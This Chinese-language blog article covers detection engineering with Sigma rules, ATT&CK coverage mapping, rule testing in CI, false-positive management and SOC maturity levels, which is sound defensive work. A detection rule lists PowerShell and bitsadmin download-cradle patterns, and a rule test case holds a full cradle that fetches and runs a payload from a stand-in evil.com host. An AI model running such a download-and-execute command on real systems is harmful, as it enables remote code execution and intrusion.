Sooua
登录
返回文章列表
Detection Engineering··12 分钟阅读

检测工程的系统化实践:Sigma 规则、ATT&CK 映射与检测成熟度

SOC 的平均检测时间(MTTD)在过去三年没有显著改善,根本原因在于检测规则的开发速度跟不上攻击技术的演进。本文从 Sigma 规则生态出发,构建覆盖规则开发、ATT&CK 映射、测试验证和成熟度评估的检测工程体系,提供可直接复用的工程模板和度量指标。

一、检测工程的困境:规则增长速度 vs 攻击技术演进速度

2025 年 MITRE ATT&CK 企业矩阵覆盖了 200+ 技术、600+ 子技术。SigmaHQ 仓库维护着 3000+ 条检测规则[^1]。数字看似庞大,但如果将两者交叉对比,会发现一个令人不安的事实:大量 ATT&CK 技术缺乏高质量的开源检测规则覆盖,尤其是云原生攻击技术(如容器逃逸、云服务滥用)和新兴 AI 相关攻击向量。

检测工程师的日常困境可以概括为三个"永远追不上":

  1. 规则开发永远追不上新漏洞披露:一个 CVE 从公开到被武器化可能只需数小时,而开发、测试和部署一条高质量的检测规则通常需要数天
  2. 规则调优永远追不上环境变化:新业务上线、系统升级、用户行为变化都会导致原本有效的规则产生大量误报
  3. 规则覆盖永远追不上攻击技术演进:APT 组织开发新的 TTPs,而 SOC 的规则库还停留在检测已知 IOC 的层面

SigmaGen 项目的研究数据证实了这一困境:人工编写一条覆盖完整 ATT&CK 映射的 Sigma 规则平均需要 4-6 小时,而安全博客和威胁情报报告中出现的新攻击技术每天超过 50 个[^3]。这个数量级的差距意味着,纯粹依赖人工规则开发的 SOC 必然存在巨大的检测盲区。

二、Sigma:检测规则的通用语

Sigma(Signature Matching Generic Incident Alert)是 Florian Roth 和 Thomas Patzke 于 2017 年发起的开源项目,其目标是成为"检测领域的通用语言"——就像 Snort/Suricata 规则之于网络检测、YARA 之于文件检测[^1]。

2.1 Sigma 规则的核心结构

Sigma 规则使用 YAML 格式,核心字段包括:

title: Suspicious PowerShell Download
logsource:
  product: windows
  service: powershell
  category: ps_script
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX(New-Object Net.WebClient).downloadString'
      - 'Invoke-Expression'
      - 'bitsadmin /transfer'
  condition: selection
falsepositives:
  - Legitimate administrative scripts
level: high
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1105

Sigma 的设计哲学是**"抽象日志源,聚焦检测逻辑"**。同一条规则可以通过 Sigma 后端转换器(backend converter)自动转化为 Splunk SPL、Elastic DSL、Microsoft KQL、ArcSight 表达式等不同平台的查询语句。这意味着检测工程师只需维护一份规则源码,即可覆盖多个 SIEM 平台。

2.2 后端转换实战

使用 sigma-cli 进行后端转换:

# 安装 sigma-cli
pip install sigma-cli
 
# 添加 Splunk 后端
sigma plugin install splunk
 
# 转换规则为 Splunk SPL
sigma convert -t splunk \
  -s ~/sigma/rules/windows/powershell/powershell_download.yml
 
# 输出:
# source="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational" 
# EventCode=4104 
# (ScriptBlockText="*IEX(New-Object Net.WebClient).downloadString*" 
#  OR ScriptBlockText="*Invoke-Expression*" 
#  OR ScriptBlockText="*bitsadmin /transfer*")

对于大规模规则管理,企业应建立"规则即代码"(Detection as Code)流程:

三、ATT&CK 映射:从规则到覆盖度

检测规则的价值不仅在于"能否检出攻击",更在于"覆盖了哪些攻击技术"。MITRE ATT&CK 框架为检测工程提供了标准化的技术分类和映射语言。

3.1 映射方法论

每条 Sigma 规则通过 tags 字段声明其覆盖的 ATT&CK 技术:

tags:
  - attack.initial_access    # 战术
  - attack.t1566.001         # 技术:Spearphishing Attachment
  - attack.execution         # 战术
  - attack.t1204.002         # 技术:Malicious File

企业应定期执行"覆盖度评估",将现有规则库与 ATT&CK 矩阵进行交叉分析:

3.2 覆盖度评估工具

使用 Python 脚本自动化评估规则覆盖度:

import yaml
from collections import defaultdict
import mitreattack.attackToExcel.attackToExcel as attackToExcel
 
# 加载 ATT&CK 企业矩阵
dataset = attackToExcel.get_stix_data("enterprise-attack")
 
# 遍历 Sigma 规则目录
rule_coverage = defaultdict(list)
for rule_file in Path("sigma/rules").rglob("*.yml"):
    with open(rule_file) as f:
        rule = yaml.safe_load(f)
    
    for tag in rule.get("tags", []):
        if tag.startswith("attack.t"):
            technique_id = tag.split(".")[-1].upper()
            # 标准化 technique ID(如 t1059.001 -> T1059.001)
            if not technique_id.startswith("T"):
                technique_id = "T" + technique_id
            rule_coverage[technique_id].append(rule["title"])
 
# 生成覆盖度报告
all_techniques = load_all_enterprise_techniques(dataset)
covered = set(rule_coverage.keys())
uncovered = all_techniques - covered
 
print(f"Total techniques: {len(all_techniques)}")
print(f"Covered: {len(covered)} ({len(covered)/len(all_techniques)*100:.1f}%)")
print(f"Uncovered: {len(uncovered)}")
print("\nTop uncovered techniques by tactic:")
for tech_id in sorted(uncovered)[:20]:
    tech = get_technique_by_id(dataset, tech_id)
    print(f"  {tech_id}: {tech['name']} ({tech['tactic']})")

一个成熟的 SOC 应追求 70% 以上的 ATT&CK 技术覆盖率,且高优先级技术(如初始访问、持久化、权限提升、凭证访问)的覆盖率应达到 90% 以上。

3.3 检测的"痛苦金字塔"

David Bianco 提出的"痛苦金字塔"(Pyramid of Pain)是检测策略设计的经典框架[^9]。它将攻击指标分为七个层级,越上层对攻击者造成的"痛苦"越大,但检测和响应的难度也越高:

层级示例检测方式攻击者规避难度
哈希值文件 MD5/SHA256杀毒软件、YARA极易(重新编译即可改变哈希)
IP 地址C2 服务器 IP网络黑名单容易(更换服务器)
域名C2 域名DNS 监控中等(购买新域名)
网络特征User-Agent、URI 模式NIDS中等(修改配置)
主机特征注册表键、文件路径EDR较难(修改工具代码)
工具Cobalt Strike、Mimikatz行为检测难(需要重写工具)
TTPs攻击流程和决策逻辑异常检测、威胁狩猎极难(改变攻击方式)

Sigma 规则的价值在于它可以覆盖从"网络特征"到"TTPs"的多个层级。低层级的规则(如哈希、IP)可以使用威胁情报自动填充,而高层级的规则(如 TTPs)需要检测工程师深入理解攻击者的行为模式。

四、规则开发的质量框架

数量不等于质量。一个拥有 1000 条规则但误报率 90% 的 SOC,不如一个拥有 200 条规则且误报率 5% 的 SOC。检测工程需要一套质量框架来确保规则的可用性。

4.1 规则质量检查清单

检查项合格标准验证方法
语法正确性通过 sigma-cli 校验sigma check rule.yml
后端可转换至少支持 2 个目标 SIEMsigma convert -t splunk,elastic
ATT&CK 映射至少映射到一个技术和战术检查 tags 字段
日志源可用企业环境中实际采集该日志源与日志平台交叉核对
测试用例包含 true positive 和 false positive 示例检查 tests 目录或注释
优先级合理level 与潜在影响匹配人工审查
文档完整包含描述、参考来源、调优建议检查 descriptionreferences

4.2 自动化测试:从"希望它能工作"到"验证它能工作"

检测规则必须像软件代码一样进行测试。Sigma 项目的 tests 子目录和社区工具(如 sigma-test)支持为每条规则编写测试用例:

# 在规则文件中或独立测试文件
tests:
  - name: True Positive - PowerShell download cradle
    logsource:
      product: windows
      service: powershell
    detection:
      selection:
        EventID: 4104
        ScriptBlockText: 'IEX(New-Object Net.WebClient).downloadString("http://evil.com/payload.ps1")'
    condition: selection
    result: true  # 期望触发告警
    
  - name: False Positive - legitimate admin script
    logsource:
      product: windows
      service: powershell
    detection:
      selection:
        EventID: 4104
        ScriptBlockText: 'Get-ADUser -Filter "Name -like \'*admin*\'" | Export-Csv'
    condition: selection
    result: false  # 期望不触发告警

企业应将规则测试集成到 CI 流水线:

# .github/workflows/detection-tests.yml
jobs:
  test-rules:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Setup sigma-cli
        run: pip install sigma-cli
      - name: Validate all rules
        run: |
          for rule in rules/**/*.yml; do
            sigma check "$rule"
          done
      - name: Run rule tests
        run: sigma test rules/
      - name: Verify ATT&CK coverage
        run: python scripts/coverage_report.py --min-coverage 70

4.3 误报管理:检测工程的永恒课题

误报是检测规则的天敌。过高的误报会导致分析师"告警疲劳",最终忽略真正的重要告警。有效的误报管理需要数据驱动的方法:

误报率度量

# 计算规则的误报率
false_positive_rate = false_positives / (true_positives + false_positives)
 
# 行业基准
# High/Critical 级别规则:误报率应 < 5%
# Medium 级别规则:误报率应 < 15%
# Low 级别规则:误报率应 < 30%

常见误报来源及对策

误报来源示例对策
合法管理工具PsExec 被用于 IT 运维添加 IT 运维主机白名单
软件更新行为Chrome 自动更新触发网络告警添加软件厂商域名/IP 白名单
安全扫描漏洞扫描器触发大量"异常连接"添加扫描器 IP 白名单
时间窗口过宽夜间备份被标记为"非工作时间活动"调整时间窗口为业务实际时段
阈值过低正常用户偶尔触发"高频登录失败"基于用户历史基线动态调整阈值

五、AI 辅助检测工程:机遇与局限

SigmaGen 和 SOC·AI 等工具代表了检测工程的新方向:使用 AI 自动化或半自动化地生成检测规则[^3][^4]。

5.1 AI 规则生成的工作流

MITRE CTID 的 SigmaGen 项目展示了这一流程的可行性[^3]。其技术路径是:

  1. 使用大语言模型(LLM)从非结构化的安全博客文本中提取 IoC 和攻击行为描述
  2. 通过向量数据库匹配已知的 ATT&CK 技术语义
  3. 使用模板引擎生成 Sigma 规则 YAML 草稿
  4. 人工审查和验证后入库

5.2 AI 辅助的局限

尽管 AI 可以加速规则草稿的生成,但当前技术仍存在明显局限:

  • 上下文缺失:AI 生成的规则往往缺乏对特定企业环境的理解,如哪些 IP 是内部扫描器、哪些进程是正常业务软件
  • 逻辑错误:LLM 可能在复杂的布尔逻辑中出现错误,如 condition: selection and not filter 被错误生成为 condition: selection or filter
  • 误报不可控:AI 无法预测规则在真实环境中的误报率,必须经过实际测试
  • 安全对齐风险:使用 LLM 处理威胁情报数据时,需警惕模型本身的安全漏洞(如提示注入)

因此,2026 年的检测工程最佳实践是**"AI 辅助生成 + 人工审查验证"**,而非"完全自动化"。

六、检测工程成熟度模型

David Bianco 在 2025 年更新的检测工程成熟度模型将 SOC 的检测能力分为五个等级[^8]:

等级特征关键技术典型 MTTD
Level 0无系统化的检测能力,依赖人工日志审查> 30 天
Level 1使用商业 SIEM 的默认规则,无自定义规则商业 SIEM7-30 天
Level 2拥有自定义规则库,基于已知 IoC 和签名Sigma/YARA/IoC1-7 天
Level 3规则库与威胁情报集成,能检测新兴威胁TI 平台、自动 IoC 摄入数小时-1 天
Level 4基于行为基线和异常的检测,覆盖未知威胁UEBA、ML 模型、基线分析分钟-数小时
Level 5预测性检测,通过威胁狩猎和主动探索发现威胁威胁狩猎、红队、攻击模拟攻击发生前

大多数企业的 SOC 处于 Level 2-3 之间。提升到 Level 4 的关键投资包括:

  1. 建立行为基线:使用 UEBA 或自定义 ML 模型建立用户、主机和网络的行为基线
  2. 威胁狩猎制度化:设立专职威胁狩猎团队,定期进行假设驱动的主动探索
  3. 红队与紫队常态化:通过模拟攻击持续验证检测有效性,发现盲区
  4. 检测即代码:将规则开发纳入软件工程流程,使用版本控制、CI/CD 和自动化测试

七、结论:检测工程是一门工程学科

检测工程(Detection Engineering)正在从"安全分析师的副业"演变为独立的工程学科。它要求从业者不仅理解攻击技术(ATT&CK),还要掌握规则开发(Sigma)、软件工程(Git/CI/CD)、数据科学(基线分析/ML)和系统工程(SIEM/EDR/日志平台)。

对于 SOC 领导者,以下三个指标应纳入年度 OKR:

  1. ATT&CK 覆盖率:当前规则库覆盖的企业矩阵技术百分比,目标 > 70%
  2. 规则质量分:通过自动化测试的规则百分比 + 误报率 < 10% 的规则百分比
  3. MTTD 改善率:年度平均检测时间的同比改善,目标每年缩短 30%

检测工程没有银弹。Sigma 规则、ATT&CK 映射、AI 辅助生成、行为基线——这些工具各有其价值,但只有将它们整合到系统化的工程流程中,才能构建真正有效的检测能力。在攻击者不断创新的战场上,检测工程师的工作就是"让防御者比攻击者快一步"——而这需要工程化的方法论和持续的投资。


本文创建日期:2026-06-28 | 状态:draft | 标签:检测工程, Sigma规则, ATT&CK, SOC, 威胁狩猎

分享

评论

登录 后参与讨论。

加载中…

相关文章